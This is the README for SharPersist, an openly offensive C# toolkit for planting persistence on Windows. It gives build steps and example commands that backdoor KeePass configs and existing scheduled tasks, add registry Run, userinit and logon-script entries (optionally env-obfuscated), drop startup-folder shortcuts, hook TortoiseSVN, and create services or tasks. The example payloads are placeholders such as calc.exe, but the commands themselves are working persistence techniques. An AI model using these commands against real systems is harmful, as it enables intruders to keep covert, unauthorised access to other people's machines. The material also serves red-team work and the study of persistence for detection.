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SharPersist

Windows persistence toolkit written in C#. For detailed usage information on each technique, see the Wiki.

Author - Brett Hawkins (@h4wkst3r)

Release

  • Public version 1.0.1 of SharPersist can be found in the Releases section

Installation/Building

Pre-Compiled

  • Use the pre-compiled binary in the Releases section

Building Yourself

Take the below steps to setup Visual Studio in order to compile the project yourself. This requires a couple of .NET libraries that can be installed from the NuGet package manager.

Libraries Used

The below 3rd party libraries are used in this project.

Library URL License
TaskScheduler https://github.com/dahall/TaskScheduler MIT License
Fody https://github.com/Fody/Fody MIT License

Steps to Build

  • Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Go to "NuGet Package Manager" --> "Package Sources"
  • Add a package source with the URL "https://api.nuget.org/v3/index.json"
  • Install the Costura.Fody NuGet package. The older version of Costura.Fody (3.3.3) is needed, so that you do not need Visual Studio 2019.
    • Install-Package Costura.Fody -Version 3.3.3
  • Install the TaskScheduler package
    • Install-Package TaskScheduler -Version 2.8.11
  • You can now build the project yourself!

Arguments/Options

  • -t - persistence technique
  • -c - command to execute
  • -a - arguments to command to execute (if applicable)
  • -f - the file to create/modify
  • -k - registry key to create/modify
  • -v - registry value to create/modify
  • -n - scheduled task name or service name
  • -m - method (add, remove, check, list)
  • -o - optional add-ons
  • -h - help page

Persistence Techniques (-t)

  • keepass - backdoor keepass config file
  • reg - registry key addition/modification
  • schtaskbackdoor - backdoor scheduled task by adding an additional action to it
  • startupfolder - lnk file in startup folder
  • tortoisesvn - tortoise svn hook script
  • service - create new windows service
  • schtask - create new scheduled task

Methods (-m)

  • add - add persistence technique
  • remove - remove persistence technique
  • check - perform dry-run of persistence technique
  • list - list current entries for persistence technique

Optional Add-Ons (-o)

  • env - optional add-on for env variable obfuscation for registry
  • hourly - optional add-on for schtask frequency
  • daily - optional add-on for schtask frequency
  • logon - optional add-on for schtask frequency

Registry Keys (-k)

  • hklmrun
  • hklmrunonce
  • hklmrunonceex
  • hkcurun
  • hkcurunonce
  • logonscript
  • stickynotes
  • userinit

Examples

Adding Persistence Triggers (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Startup Folder

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Windows Service

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Scheduled Task

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Removing Persistence Triggers (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registry

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Startup Folder

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Windows Service

SharPersist -t service -n "Some Service" -m remove

Scheduled Task

SharPersist -t schtask -n "Some Task" -m remove

Perform Dry Run of Persistence Trigger (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Startup Folder

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Windows Service

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Scheduled Task

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

List Persistence Trigger Entries (List)

Registry

SharPersist -t reg -k "hkcurun" -m list

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Startup Folder

SharPersist -t startupfolder -m list

Windows Service

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Scheduled Task

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon

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